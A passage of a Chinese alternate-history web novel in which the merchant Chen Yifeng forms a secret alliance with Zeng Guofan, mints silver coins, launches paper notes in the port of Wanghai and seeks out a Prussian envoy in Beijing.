如果紫禁城老祖宗和雾隐小鬼知道错过了这么重要的情报,怕是要肠子悔青。就为了那几条人命,错过这等机密,实在是他的大运气。陈逸风心中暗自庆幸,面上却不动声色。 “孟明蛇,”他转头问道,“老实说,像这种级别的高手,武林中还有几个?望海应该没这么厉害的探子了吧?” 孟明蛇揉了揉胸口,嘴角扯出一抹笑意:“大人以为武林高手是洋枪似的能批量生产?像紫禁城老祖宗这等人物,整个大清都数得过来。现在的望海,反倒是最安全的时候了。” 就在陈逸风稍稍放松之际,明月商行二楼的一间雅室内,梁镳正战战兢兢地陪着曾国藩品茶。房间里虽只有他们二人,但老东家心知肚明,房顶、楼下,甚至周围街道上,必定布满了湘军精锐。像黑鹰、孟明蛇这等高手也不会少。 刚才城外大乱时,轻功高手们就在来回传递战报。梁镳听着这些汇报,额头渗出细密的汗珠,心中暗叹:“先生啊先生,别再打了,再这样下去,底细都要给曾国藩摸透了......” “老东家,”曾国藩捻着胡须,目光如炬,“若我没猜错,陈逸风的士兵用的都是美式装备吧?啧啧,这一身行头怕是要几百两银子,陈逸风真是阔绰,我们这些兄弟可用不起这种玩意。” “大帅说笑了,”梁镳连忙陪笑,“您麾下精兵数十万把持着富庶的江南,只要时间够,这点装备算什么?” 满桌珍馐美味已摆上席面,这是临时让望江楼开炉准备的。大帅连夜赶到,总得吃顿宵夜。菜香四溢,却无人动筷。 “大帅,您舟车劳顿,先喝口温酒解乏......”梁镳正要倒酒,却被曾国藩抬手制止。 “等等陈逸风吧,他才是这里的主人我只是外人,没有他在场怎么好开始。”曾国藩的语气平和,却带着不容置疑的威严。 话音刚落,门外传来爽朗笑声:“大帅折煞在下了,这话传出去,天下人不知要怎么戳我脊梁骨。我一个后辈,怎敢让大帅久等?” 推门而入的正是陈逸风,一身青衫,风尘仆仆却不失风度。曾国藩眼前一亮,暗叹这翩翩公子风度,难怪能把富察氏的美人勾去。尤其那双眸子,精气内敛,神采奕奕。 曾国藩精通相术,一眼就看出陈逸风竟有真龙之相!只是龙威不盛,显然此人性情温和,不是嗜杀之辈。这发现让他心中一震,面上却不动声色。 陈逸风也在打量这位传奇重臣。这或许是解开历史谜团的机会——为何拥有如此实力的曾国藩,始终不曾起兵造反? 眼前这位五十多岁的老者,身形清瘦却很健硕,一双老辣的眼神仿佛能洞察人心。陈逸风知道他在相面,史书记载曾国藩最擅此道,用人极准。他麾下势力后来演变为淮军、北洋,统治中国百年,若无优秀人才储备,绝无可能。 “哈哈,将军这是要给我算命啊?”陈逸风故作轻松地打趣道,“那您得仔细推演一番才是,我能发多大财,能娶几个媳妇?” 啪!曾国藩猛拍桌案,茶水溅出,打湿了桌布:“休要嬉皮笑脸!我总算明白你身上龙威为何如此散淡,就是这懒散爱调笑的性子害的!你可知道,你的面相显示将来必定位极人臣,有真龙之气......” “将......将军莫要说笑了,”陈逸风脸色骤变,双腿不自觉地发软,“我哪来什么龙威?这不是要我的命吗......” 梁镳更是手一抖打翻茶碗,茶水洒了一桌:“我去催催热菜,你们聊......”说完几乎是落荒而逃。 屋内只剩下这对老小狐狸,不,应该说是一老一小两条潜龙,大眼瞪小眼地对视着。 窗外传来更夫打更的声音,远处偶尔有几声犬吠。 良久,陈逸风端起酒壶给曾国藩斟酒,动作优雅从容:“大帅啊,我不过是个追求钱财和美人的寻常汉子,朝堂上的事情真没兴趣......倒是大帅不同,泰山之巅对您来说不过是一小步吧?” 曾国藩没有回答,只是从怀中取出一枚南洋龙元,放在陈逸风面前。银币在烛光下泛着冰冷的光泽。 “陈先生胆子不小,”曾国藩嘴角上扬,“这一年多私铸银币怕是有几百万枚了吧?骗得过那些八旗子弟,可瞒不过我。青云峰上的银炉,是你的吧?” 陈逸风心头一紧,手中的酒壶微微颤抖,几滴酒水洒在桌上。他强压下心中的震惊,装作若无其事地放下酒壶:“大帅说笑了,我一个小商人,哪有这么大的胆子?” “是吗?”曾国藩意味深长地笑了笑,从袖中又取出几枚银币,“这些银币成色极好,工艺精湛,若不是我派人专门查验,还真看不出是私铸的。陈先生,你说这事要是让朝廷知道了,会如何?” 第一百五十九章 曾国藩的试探 陈逸风额头渗出冷汗,他知道这是曾国藩在试探他。私铸银币可是死罪,一旦东窗事发,别说他自己,就连整个新军恐怕都保不住。 就在这时,门外突然传来一阵急促的脚步声,打破了室内的沉闷气氛。 “大帅!”一个湘军将领推门而入,神色慌张,“刚收到消息,天津城内发生暴动,有人趁乱劫狱,救走了......” 话未说完,曾国藩已经抬手制止:“知道了,你先下去吧。” 待那将领退出后,曾国藩意味深长地看着陈逸风:“看来今晚注定是个不平静的夜晚啊。” 陈逸风心中暗叫侥幸,这个意外打断总算给了他喘息的机会。他强作镇定,端起酒杯:“大帅,咱们还是先用酒吧,这些个闲事,改日再谈如何?” 曾国藩却不为所动:“陈先生,你觉得我今晚为什么会来?” “这......”陈逸风一时语塞,心中却已经警铃大作。他知道,这位老狐狸绝不会无缘无故地深夜造访。 “我来,是想听你谈谈眼下的大清”曾国藩缓缓说道,“顺便再谈一笔交易” 陈逸风闻言正襟危坐,缓缓开口:“华夏历史上的民族更迭,就像一条奔腾不息的长河。”陈逸风轻轻摇晃着手中的酒杯,琥珀色的液体在烛光下泛着微光,“从最早的黄河流域,到如今的大好河山,我们的疆域在不断扩张。” 曾国藩微微颔首,眼中闪过一丝赞许。他的手指无意识地轻叩桌面,发出细微的声响。 “匈奴、鲜卑、突厥...”陈逸风继续道,声音低沉而富有磁性,“这些曾经叱咤风云的游牧民族,最终都消失在历史长河中。有意思的是,我们汉族很少会赶尽杀绝,反而常常以包容之心,将他们融入自己的怀抱。” 话音刚落,曾国藩猛地一拍桌案,茶盏随之轻颤。“妙啊!说得太妙了!” 他抓起酒壶,连饮三杯。酒意上涌,面颊泛起红晕,眼神却愈发明亮。“满朝文武,能有如此见识的寥寥无几。那些自诩雅流的腐儒,又岂能明白这个道理?” 看到曾国藩的酒壶见底,陈逸风忙起身为其斟满。酒液倾泻而下,发出悦耳的声响。“大帅慢饮。” “其实啊,”他重新落座,目光若有所思,“就拿当今的满清来说,表面上他们是统治者,但从长远来看...” 话未说完,一滴泪水却从曾国藩的眼角滑落。烛光下,那滴泪珠闪烁着微光。 “大帅这是?”陈逸风一时语塞,手中的酒杯微微一顿。 曾国藩抬手擦去泪水,声音略显哽咽:“说得好!不仅是关外,就连蒙古草原、西域、藏地,这些地方迟早都会成为我汉人的沃土!” 他目光灼灼地盯着陈逸风:“你可知我为何说你身上有龙气?就凭你这份见识,就不是寻常人物。” 陈逸风心中一动,手指不自觉地收紧:“莫非大帅您...是因为这个原因,才一直没有...” “来人!”曾国藩突然厉声喝道,声音在静谧的夜色中格外清晰,“全都退下,百步之内不得有人!” 外面传来一阵匆忙的脚步声,渐行渐远。待四周重归寂静,曾国藩突然探身向前,一把抓住陈逸风的手,力道之大令人吃惊:“知我者,陈逸风也!” 他的声音压得极低,带着几分颤抖:“那些腐儒整日道德绑架,我曾国藩岂会在意?但我担心的是...”说到这里,他的眼中闪过一丝痛苦,“现在的大清,内忧外患。甘陕回部蠢蠢欲动,新疆已被小沙特占据。若我此时举事,恐怕...” 陈逸风只觉一股寒意从脚底直冲天灵盖。他终于明白了这位湘军统帅的苦衷——若是现在起兵,满、蒙、回、藏必然联手反抗。西方列强更会趁机而入,支持各地独立。到那时,别说大清的疆域,就连宋朝的版图都未必保得住。 “大帅高瞻远瞩。”陈逸风由衷感叹,心中五味杂陈。 曾国藩松开手,缓缓靠回椅背:“我就想看看,你到底是何方神圣。是否真如传言,是美国人的代理人。但现在,我明白了。” 他端起酒杯,目光深邃:“咱俩都都在为这片土地谋划。你那"吞噬仇恨"之说,足见慧眼。” 两人相视一笑,一切尽在不言中。 夜色渐深,谈话的内容转向具体事务。曾国藩以私人名义投资五百万两白银入股明月商行,并承诺湘军控制的港口将对琉球开放。 “大帅如此信任在下,实在...”陈逸风起身作揖,话未说完就被曾国藩打断。 “莫要说这些虚的。”曾国藩摆摆手,“我看人向来准。更何况...”他意味深长地笑了笑,“明月商行这两年经营的不错” 随后,他又投资了一百万两于工业特区。条件很简单:武器优先供应湘军。 “从今往后,你我在朝堂上就是对手了。”曾国藩举杯相邀,“该参你时我绝不手软。” “大帅的教训,正是在下求之不得的。”陈逸风拱手还礼,“将来还要请大帅指点,如何在不伤及疆土的前提下,从满清手中夺取权力。” “彼此彼此。” 两条隐龙就此结盟,大清的命运已然注定。 只是此时此刻,谁也没有注意到窗外的月色已悄然西斜。 夜深了,酒意渐浓。曾国藩的面色愈发红润,说话也渐渐变得随意起来。 “你那个琉球的计划,”他突然开口,“其实我早就听说了。” 陈逸风心中一紧,手中的酒杯微微一顿。 “别紧张。”曾国藩笑道,“我是想说,你这步棋走得妙。琉球虽小,却是东海的明珠。若能掌控,日后必成我大清的前哨。” 他说着,又给自己斟了一杯:“只是那些洋人...” “大帅放心。”陈逸风接过话头,“琉球的事,我自有安排。” 曾国藩意味深长地看了他一眼:“你这个人啊,总是能给人惊喜。” 两人的谈话愈发深入,从朝堂政事到天下大势,无所不谈。 第一百六十章 你这是要造反 不知不觉间,东方已现出鱼肚白。 “时候不早了。”曾国藩站起身,“我该回去了。” 曾国藩转身向门外走去,却又突然停下。 “记住,”曾国藩意味深长地回头看了陈逸风一眼“无论将来发生什么,这片土地,都不容分裂。” 陈逸风郑重点头,拱手相送。而此时的他,又怎能想到,这次密谈将在日后掀起怎样的波澜? 曾国藩离开望海时,天色尚未大亮。 他在此地仅仅逗留了三个时辰,便匆匆启程赶往沧州。两万大军正在那里等候,朝廷的旨意想必也已经出京了。 临行前,他意味深长地看了陈逸风一眼,欲言又止。 陈逸风独自坐在房中,面前摆着三个空酒壶。窗外传来阵阵海浪声,潮湿的海风裹挟着咸腥气息涌入室内。酒意上涌,思绪却愈发清明。 桌上的油灯忽明忽暗,映照着他疲惫的面容。一缕青烟袅袅升起,在空中打着旋儿,仿佛要将他的思绪带向远方。 “欧阳煦......”他喃喃自语。 脑海中浮现出那位白发苍苍的老将军,率军西征,收复新疆的画面。十万大军,踏破戈壁,越过天山。当时的欧阳煦已年过六旬,却依然冒着风沙,亲临前线。 那时的欧阳煦,真的是为满清效力吗? 记忆又转向了李鸿章。这位晚清重臣,倾尽心血组建北洋水师,却处处受制。慈禧和翁同龢明里暗里克扣军费,使得北洋水师战舰老化,训练不足。 若真是为满清守国门,为何朝廷如此不作为? 中法战争的惨烈场面在眼前闪过。史慕周、史景瑾率领的黑旗军在前线浴血奋战,而朝廷却在背后暗中议和。那些将士们心中所想的,究竟是大清的江山,还是整个汉族的命运? 一个个历史画面在脑海中闪过,陈逸风突然笑了。笑声中带着几分释然,几分苦涩。 “原来如此。”他轻声说道,目光透过窗户望向远方,“这些人,都在用自己的方式守护这片土地。” 房门吱呀一声被推开,梁镳踱步而入。看到满桌的酒壶,一夜未眠的模样,不由得心疼道:“天都亮了,你该去歇息了。” 陈逸风却仿佛没听见梁镳的话,自顾自地问:“梁掌柜,您说龙是什么?” 梁镳愣住了,眉头微皱:“这......” “龙不是权力的象征,而是守护的化身。”陈逸风站起身,迎着初升的朝阳,“守护亿万黎民,守护这片土地,这才是真龙天子的使命。” 梁镳闻言色变,连忙四下张望,压低声音道:“莫要胡言,这话可不能乱说!” 陈逸风失笑,转身拍了拍梁镳的肩膀:“梁掌柜人放心,我可没那个野心。您还是操心操心我和凤女、富察瑜音的婚事吧。” 两日后的清晨,一阵急促的马蹄声打破了望海的宁静。 沈含杰带着疲惫的远虎抵达了。这位慈安太后的心腹太监,眼中带着倨傲,举手投足间尽是京城权贵的气派。 谈判在一间幽暗的厅堂中进行。沈含杰的态度强硬得令人发指,陈逸风提出的赔偿要求被他一口否决,组建华洋商人联合治安队的提议也被他驳回。 “陈老板,”沈含杰捻着胡须,语气轻蔑,“你可要想清楚了。朝廷能容你到现在,已是天大的恩典。” 陈逸风面无表情地听着。 最后沈含杰只答应两件事:朝廷不追究陈逸风的责任,不限制工业特区的建设。 “沈公公,”陈逸风冷笑一声,“看来您是不了解我们的实力。来人,带两位贵客参观一下。” 工业特区的印刷车间内,五十多台高速印刷机正在轰鸣。机器转动的声响震耳欲聋,墨香四溢。 沈含杰看着眼前的场景,脸色瞬间变得惨白。他从未见过如此规模的印刷作坊,这意味着什么,他再清楚不过。 “这......这......”他结结巴巴地说不出话来,额头渗出细密的汗珠。 陈逸风从传送带上拿起一份刚印好的《启文报》,纸张还带着温热,递到沈含杰面前:“沈公公请看,这就是我们的力量。” 报纸上赫然印着清廷与列强签订的条约内容,包括割让黑龙江流域、赔款数目等机密信息。每一个字都像一把利剑,直指朝廷的软肋。 “你......你这是要造反!”沈含杰声音发颤,手中的报纸“哗啦”一声掉在地上。 陈逸风不以为然地笑了笑:“造反?我可没有派人去刺杀朝廷命官,也没有煽动百姓造反。倒是朝廷,一再欺压我们这些商人......” 下午的军事演习,彻底击垮了沈含杰的心理防线。 演习场上,两百名身着美式军装的士兵列队整齐。他们目光如炬,军容严整,与寻常的清军判若两人。 瑾周信和诸葛林神色凝重地向陈逸风报告:十八名战死将士的遗体已经入殓完毕。每一具棺材前都摆放着逝者的遗照,烛光摇曳,映照着他们年轻的面庞。 陈逸风走到第一具棺材前,那是为保护他而牺牲的班长。即便经过缝合,脸部依然残缺不全。他伸手轻抚棺木,眼中闪过一丝痛楚。 “弟兄们!”陈逸风突然转身,高声道,“让我们用枪声,为战友送行!” “为先生效死!”二百将士齐声呐喊,声音震天,惊起远处的海鸥。 随即,整个演习场上枪声大作,手雷爆炸声此起彼伏。士兵们或冲锋,或射击,或格斗,展现出惊人的战斗力。 烟尘弥漫中,沈含杰看得心惊胆战。这支军队的战斗力,远超他的想象。若是传出去,恐怕连京城那些养尊处优的八旗子弟也要胆寒。 “够了!够了!”他连连摆手,声音中带着颤抖,“陈先生,一切都依您的意思办。只求您......” 陈逸风没有理会他,只是静静地注视着那十八口棺材。 他已经决定,要将这些为理想献身的弟兄长眠于工业特区之内。让他们的英灵永远守护这片热土,见证这片土地的蜕变。 第一百六十一章 我的宝贝 演习结束时,天色已暗。沈含杰带着满腹心事离去,而陈逸风依然伫立在演习场上,久久不语。 远处传来渔船返港的汽笛声,海面上星星点点的渔火,仿佛在向这片土地诉说着什么。 腊月的寒风呼啸着掠过望海港,海面上的商船早已停泊,往日繁忙的码头陷入了短暂的宁静。积雪覆盖着港口的木栈桥,寒冷的海风夹杂着咸腥的气息扑面而来。 街道上却是一派热闹景象,来往的行人脸上都洋溢着喜气。今年的望海港可谓是风云激荡,两场暴动虽然惊心动魄,但反而让这座港口迎来了前所未有的繁荣。街边的小贩吆喝声此起彼伏,各色商品琳琅满目。 “老孙,今年生意如何啊?”一个身着蓝布长衫的商贩搓着手,笑呵呵地打着招呼。 “托陈先生的福啊!”被唤作老孙的商人拍了拍腰间鼓鼓的钱袋,眼角的皱纹都舒展开来,“多亏了明月商行给咱们撑腰,今年的生意比往年足足多了四成!你瞧瞧这街上,比往年可热闹多了。” “可不是嘛!”蓝衫商贩点头附和,“以前那些地痞流氓天天来收保护费,现在都不敢露面了。这都是陈先生的功劳啊!” 街边的茶馆里,炉火正旺,几个商人围坐在火炉旁,一边喝着热茶一边闲聊。茶香四溢,驱散了些许寒意。 “诶,你们听说了吗?湘军在沧州停下来了。”一个戴着瓜皮帽的商人压低声音说道。 “可不是嘛,听说翁大人亲自出面,把曾国藩给劝住了。”旁边一个留着山羊胡的商人接话道,手指不自觉地敲打着茶杯。 “这下好了,陈先生总算是安全了。”一个身材瘦小的商人松了口气,“要是湘军真打过来,咱们这些小本生意也就完了。” 茶客们纷纷点头,眼中流露出钦佩之色。这位年轻的明月商行东家,在朝廷和雅流的夹缝中竟然活了下来,而且越发风生水起。 “听说陈先生最近又在搞什么新花样?”瓜皮帽商人好奇地问道。 山羊胡摇晃着茶杯,神秘兮兮地说:“我听说啊,陈先生在搞什么存单,就是一张纸,可以当钱用!” “当真?”其他人都露出不可思议的表情。 “千真万确!我侄子就在明月商行当差,亲眼看见的。” 大孙庄的村民们正在忙着编织篱笆,这是陈逸风给他们安排的活计。虽然寒风刺骨,但想到每天都能领到工钱,大家干得格外起劲。 “老张,你说陈先生这是要干啥?”一个年轻农民擦了擦额头的汗水。 “听说是要建新式作坊,”老张放下手中的竹条,“到时候咱们就不用靠天吃饭了。” “明年这片地就要大变样了。”一个老农望着被圈起来的土地,感慨地说道,眼中闪烁着期待的光芒。 而此时的陈逸风,已经带着梁掌柜等人出海了。 寒冬时节的渤海湾,到处都是冰凌。小船在老船家的操控下,灵活地穿梭其间。冷风呼啸,浪花拍打着船舷,发出“啪啪”的声响。 陈逸风站在船头,任凭海风吹乱他的头发。他的目光穿透迷蒙的海雾,仿佛要看到远方那艘承载着他梦想的船。 “找到了!美国疾翼船就在东北方向!”洛根兴奋地喊道。 “我的宝贝!”陈逸风激动得手舞足蹈,差点失去平衡。梁掌柜连忙扶住他,脸上露出无奈的笑容。 随着距离拉近,一艘修长的船影渐渐清晰。那是美国造船工艺的巅峰之作——疾翼船远航号。它的船身流线型,桅杆高耸入云,即便是静静地停泊在海面上,也给人一种随时准备起航的感觉。 登上疾翼船,蔡瑁将军和苗烈带领的第三连士兵迎了上来。 “大人,为啥不让咱们一起归乡啊?”苗烈红着眼圈,声音有些哽咽,“望海的弟兄们都急疯了,大伙都要用命来求了!” 陈逸风心中一痛。这些年轻的士兵为了他的事业,远离家乡,在异国他乡坚守岗位。他们的忠诚和付出,让陈逸风感动不已。 “好兄弟,往后机遇多的是。”陈逸风拍拍苗烈的肩,语气中充满了歉意和感激,“现在,带我去看看咱们的宝贝。” 船舱内,热浪扑面。一个巨大的锅炉和四个金属溶炉正在轰鸣,发出震耳欲聋的声响。数十名琉球华工在几名黑人工匠指导下忙碌着,汗水在他们的脸上闪闪发光。 “这些设备开足马力,一天能产一吨银币。”蔡瑁介绍道,声音里带着掩饰不住的自豪,“而且都是可拆卸的,等工业特区建好,就能藏进工厂里。” 四名黑人工匠恭敬地向陈逸风行礼。他们都是匹兹堡的老工人,虽然在美国饱受歧视,但听说这位中国琉球的宰相很不一般,便冒险来到东方,期待着在这片陌生的土地上找到新的机会。 “感谢你们远道而来。”陈逸风用英语说道,握住他们沾满煤灰的手,“在这里,你们会得到公平的待遇。” 黑人工匠们感动不已,连忙演示起铸币机的工作过程。银板送入机器,在蒸汽动力的驱动下,一枚枚崭新的银元从传送带上滚落,银光闪闪。 “太漂亮了!”梁掌柜如获至宝,小心翼翼地拿起一枚银元,爱不释手,“这效率,这工艺,简直就是印钱啊!” 陈逸风微笑着看着这一切,心中充满了成就感。 回到望海后,陈逸风立即召集了一次秘密会议。参加会议的除了梁掌柜等核心成员,还有几位德高望重的地方士绅。 “诸位,”陈逸风开门见山地说,“我们即将面临一个重大的机遇,但同时也面临着巨大的挑战。” 他详细解释了纸币发行的计划,以及可能遇到的困难。与会者听得认真,不时点头或皱眉。 “陈先生,”一位白发苍苍的老者开口道,“这纸币确实方便,但老百姓会信吗?他们世世代代用的都是真金白银啊。” 第一百六十二章 小额存单-纸币的前身 陈逸风早有准备。他从怀中掏出一份详细的推广计划,向众人展示。“我们会从新军开始,逐步向外推广。同时,我们会在各个商铺设立兑换点,保证纸币随时可以兑换成银币。” “还有,”他补充道,“我们会给予使用纸币的商户一定的税收优惠。相信用不了多久,大家就会发现纸币的好处。” 会议持续了整整一天。当夜幕降临时,所有人虽都疲惫不堪,但都充满期待。 第二日,陈逸风站在窗前,目光越过望海港内来往的商船,投向远方。冬日的阳光透过玻璃,在他脸上投下斑驳的光影。他的眉头微蹙,眼中闪烁着思索的光芒。 发行纸币,这是一个大胆而又冒险的想法。陈逸风清楚,在这个时代,纸币的概念对大多数人来说还很陌生。他必须小心谨慎,一步一个脚印地推进这个计划。 “那就从今天开始吧......”他喃喃自语。 “来人。”他沉声道。 门外的亲兵立刻应声而入,“先生。” “召集所有新军将士,在校场集合。”陈逸风的声音沉稳有力。 亲兵领命而去,很快,校场上就聚集了数千名新军将士。他们整齐列队,身着蓝色呢子军装,腰板挺直,目光如炬。 陈逸风站在高台上,俯视着这支由他一手打造的精锐之师。他的目光扫过每一张年轻的面孔,心中涌起一股自豪感。 “弟兄们,”他开口道,声音不大,却清晰地传到每个人耳中,“今天找大家来,是要发饷银了。” 士兵们眼中闪过一丝喜悦,但依然保持着军姿。这份纪律性,让陈逸风很是满意。 “不过,”他顿了顿,“这次的饷银,有些特别。” 说着,他从怀中取出一叠纸币,举起来让所有人都能看到。“这是明月商行发行的小额存单,可以随时兑换银币。” 台下顿时响起一阵窃窃私语。有人面露疑惑,有人交头接耳,还有人皱起眉头。 陈逸风并不意外这样的反应。他微笑着继续说道:“我知道大家有疑虑。但是,想想看,你们每次出操,全副武装就有三十多斤。若再带着叮当作响的银币,岂不是徒增负担?” 这话说到了士兵们心坎上。确实,银币虽好,但携带实在不便。特别是在长途行军或紧急集合时,那些沉甸甸的银币总是让人头疼。 “而且,”陈逸风继续道,“这存单还有个好处。我们在琉球也有分号,你们把存单捎回家,亲人不用你们亲自回去,就能兑换银币。” 台下的琉球籍士兵眼睛顿时亮了。往日寄银币回家,总要找可靠的人带着,既麻烦又担心丢失。如今有了这存单,确实方便多了。 “当然,这存单也可以直接用来买东西。”陈逸风微笑道,“相信用不了多久,望海的商家就会争着要这些纸币。” 说到这里,陈逸风停顿了一下,目光扫过台下每一个士兵的脸。他能看到他们眼中的疑惑渐渐被理解和期待所取代。 “好了,这一年来,大家辛苦了。”陈逸风突然摘下帽子,深深鞠躬,“我陈逸风,给弟兄们拜个早年!” 台下瞬间寂静。 随即爆发出山呼海啸般的回应:“先生!先生!” 多少士兵热泪盈眶。在这个等级森严的时代,有几个大人物会给士兵鞠躬?更别说是拜年了。这一刻,所有人都明白,为什么他们愿意追随陈逸风。 领到饷银的士兵们走上街头,蓝色呢子军装格外醒目。在这个物价低廉的年代,这可是一笔不小的数目。 酒楼里,士兵们豪爽地要了一桌桌好菜。明月商行中,军官们甚至开始询问怀表、钢笔的价格。街道上,处处可见新军将士兴高采烈的身影。 最初,商家们对这些纸币颇有疑虑。但当真的能在明月商行兑换出崭新的银币后,所有人都放下心来。 “掌柜的!大喜事啊!”一个跑堂的气喘吁吁冲进店里,脸上写满了兴奋。 “什么事这么慌张?”掌柜放下手中的算盘,疑惑地问道。 “承禄府说了,明年赋税可以用这存单缴纳,还能优惠一厘呢!”跑堂的话音未落,店里就炸开了锅。 “当真?”掌柜的眼睛都直了,手中的茶杯差点掉在地上。 一厘虽少,但在这个时代,已是极大的优惠。这意味着,陈逸风要自掏腰包,给望海所有商户补贴税收! 这消息如同炸雷,瞬间传遍望海。从那天起,但凡看到新军将士,商家们眼中都冒着小星星。一些大商号甚至专门派人在军营外守着,就为了拉这些兵爷们的生意。 终于,在新年来临之际,望海的大街小巷都开始流通起了这种新型货币。因为人们发现,用纸币交易不仅方便,而且安全。 而在遥远的京城,一个更大的消息正在传开。 “金科揭榜了!浙江举子梁羊野中了状元!” “榜眼是四川的苗阳云!探花是山东的王子亭!” 满城的墨客都炸开锅了。因为这些新科进士,都是前段时间游行示威的主力。朝廷不但没有追究他们的责任,反而给予重用,这让所有读书人都看到了希望。 “看到了吧,朝廷还是明白人心向背的。”茶馆里,一个身着长衫的文人高声说道,“这就是对我们的肯定!” “就是就是,那些整天喊着学西学的,一个都没中。”旁边有人附和道,“这说明什么?说明朝廷还是支持我们这些坚持正统的读书人!” 更让他们兴奋的是,孙明被破格提拔为河南巡抚的消息也传了出来。这位在游行中表现最为激烈的举人,竟然得到了如此重用。 一时间,整个京城的读书人都欢欣鼓舞,仿佛看到了朝廷对他们的支持。各个茶馆酒楼里,都在热烈讨论着这个话题。 然而他们不知道的是,在遥远的海面上,一支崭新的力量正在悄然崛起。那是一支属于华夏的远洋舰队,正在茫茫大海上积累着经验。 第一百六十三章 陈逸风惊闻密报 明月商行的书房内,陈逸风眉头紧锁。桌上堆积如山的公文让他头疼不已,每一份都需要他亲自过目、拍板。年关将至,各类事务纷至沓来,就连宴请商贾的菜单也要他审阅。 窗外寒风呼啸,吹得窗棂作响。屋内炭火正旺,却驱散不了他心头的烦闷。 “蛇爷,新军经费审批低于五千银元的,让瑾周信和诸葛林自行决断。”陈逸风抬头对送文件的孟明蛇说道,“工业特区的附属设施建设资金,让老东家自己拿主意。” 话音未落,孟明蛇突然剧烈咳嗽起来,一阵接一阵,脸色涨得通红。 “咳咳咳...是...咳咳...我这就去办...”孟明蛇弯着腰,一手扶着桌角,一手捂着胸口,上气不接下气。 陈逸风连忙起身,绕过案桌来到孟明蛇身边,轻拍他的后背。“老伤还没好?不是说靠真气能够缓缓消除吗?” 孟明蛇摆摆手,强忍咳意。“先生勿忧,咳咳...我再抓副药调养便是。”说着又是一阵剧烈的咳嗽。 陈逸风眉头紧皱,语气严厉:“胡闹!你这样哪还保护得了我?孙忠义!” 孙忠义闻声疾步而入,站定后躬身行礼:“先生有何吩咐?” “立刻安排人手,护送蛇爷去北京找英国大夫墨德。”陈逸风斩钉截铁地说,“不要节外生枝,直接去找墨德。” 孟明蛇还想推辞,却被孙忠义不由分说地架走了。临走前,孟明蛇还不忘回头看了眼陈逸风,眼中满是不舍与担忧。 陈逸风长舒一口气,重新坐下。案头的公文堆得老高,他随手拿起一份,却又放下了。 没过多久,孙忠义回来复命。“先生放心,罚阁二十多名弟兄亲自护送,保证万无一失。”说着,他从怀中掏出一份密封的情报,双手呈上。 陈逸风接过情报,展开一看,目光凝滞。“朝廷要派同文馆书生出国考察?马尾要建船厂?欧阳煦要开船政学堂?”他的声音越来越高,“还有普鲁士密使艾伦姆密会鬼子六?” 陈逸风猛地拍案而起,茶盏被震得跳了一下。“孙忠义,立刻传令秋七四,我要见这个艾伦姆!不惜一切代价,把他请到望海来过年!” 孙忠义应声而去,脚步匆匆。 陈逸风在房间里来回踱步,手中的情报被他捏得起了褶皱。 窗外的寒风依旧呼啸,却吹不散他眼中的思虑。 同治五年,大清朝廷总算迈出国门一步,汲取泰西领先智慧。福州船政局将成为培养新式水军人才的摇篮。而今,因他的存在,历史已然改变。清廷的改革力度必将超越原有轨迹。 “呵,终于肯接受点西学了?”陈逸风讥诮自语道,“可惜啊,这些年轻人,谁不得尊我一声师尊?” 他唤来梁镳。“梁掌柜。吩咐下去,紧急调一批精装版《域外见闻》,百册典籍赠予同文馆,再收集几百册加上我的密函,送到福建欧阳煦手中。” 梁镳面露难色:“欧阳煦那边,我们搭不上话啊。” “去上海找红顶商人宁霜津,让他牵线。”陈逸风胸有成竹,“他和欧阳煦的关系,你应该清楚。” 梁镳恍然大悟,连连点头退下。 送走梁镳,陈逸风的目光又落在情报最后一条。普鲁士使臣暗访鬼子六。他的手指轻轻摩挲着这行字,眼中闪过复杂的神色。 “德国啊,我岂能将你抛诸脑后?”陈逸风喃喃自语。 这一年怕是要爆发普奥大战了。历史上,钢铁首相统筹的三次关键战事,助普鲁士在中欧大地腾飞。普丹战争已经错过,但普奥战争... 陈逸风眼前一亮。这是他与俾姆麦建立善缘的最佳机会! 虽然已与美国建立友好关系,但远远不够。英法这样的老牌列强,肯定看不上他这个小角色。但新兴列强的大门,或许还有机会。 “干了!”陈逸风一拍大腿,“富贵险中求,这把风险投资,我玩定了!” 就在陈逸风下定决心之际,京城中,一名高个子洋人正独自漫步街头。这是个典型的北欧中年男子,黑色礼帽下露出金色卷发,湛蓝的眼眸如海水般清澈。 正是俾姆麦派来的亚洲事务密使,艾伦姆。 今天是他第三次去议政衙门求见裕王,前两次吃了闭门羹。这次虽见到了裕王本人,却只得到表面热情下的冷漠对待。 艾伦姆心知肚明,建交的企图已经泡汤。在这个时空,清朝对普鲁士德国还没有完整概念。当裕王从其他国家大使口中得知德国尚未统一时,天朝上国的傲慢又冒了出来。 一个未统一的小国,即便在欧洲,又能如何?裕王直接将德国划入中欧小国序列。若非顾及礼节,这位所谓的使者他根本懒得搭理。 艾伦姆独自走在陌生的街道上,望着这片神秘莫测的土地,盘算着怎样替宰相开拓外交局面。街边小贩的吆喝声,来往行人的谈笑声,都让他感到一丝格格不入。 突然,一阵喧哗声传来。艾伦姆循声望去,只见一个胡同里正发生激烈争吵。 他的汉语虽然不错,但面对眼前的混乱场面,还是有些摸不着头脑。身后的轿夫弓着腰,压低声音为他解释着事情的来龙去脉。随着轿夫的讲述,艾伦姆的眉头越皱越深。 艾伦姆的目光不由自主地落在被围在中间的那个中年男子身上。 那人身材瘦削,面容清癯,一身青布长衫略显褶皱,但整体看起来还算整洁。最引人注目的是他那双眼睛,炯炯有神,透着几分不屈的倔强。此刻正平静地注视着眼前叫嚣的人群,仿佛置身事外一般。 【这位黄先生看起来倒不像个邪恶之人。】艾伦姆正思索间,人群中突然爆发出一阵更加剧烈的喧哗。 “你这个杀人凶手!”一个粗豪的声音划破天际,“我爹就是被你害死的!”那声音中充满了悲愤与仇恨,震得周围的看客都不由自主地后退了几步。 第一百六十四章 黄大夫智斗无赖 艾伦姆定睛望去,只见三个年轻力壮的汉子正围着黄大夫叫骂。为首的那个身材魁梧,膀大腰圆,脸上横肉抖动,一双铜铃般的眼睛瞪得滚圆。另外两人虽然体格稍逊,但看起来也不是善茬。 “就是,就是!”另外两个声音此起彼伏地附和道,“你这个庸医,今天非得给我们个说法不可!”他们的脸上挂着悲愤之色,但眼底却闪烁着贪婪的光芒。 黄大夫被他们推搡得东倒西歪,衣襟都被扯乱了,却始终没有还手。他只是不停地解释着,声音虽然不大,但字字清晰: “老丈的病情确实凶险,我已经事先说明了风险。当时你们也都在场,我用了最好的药材......” 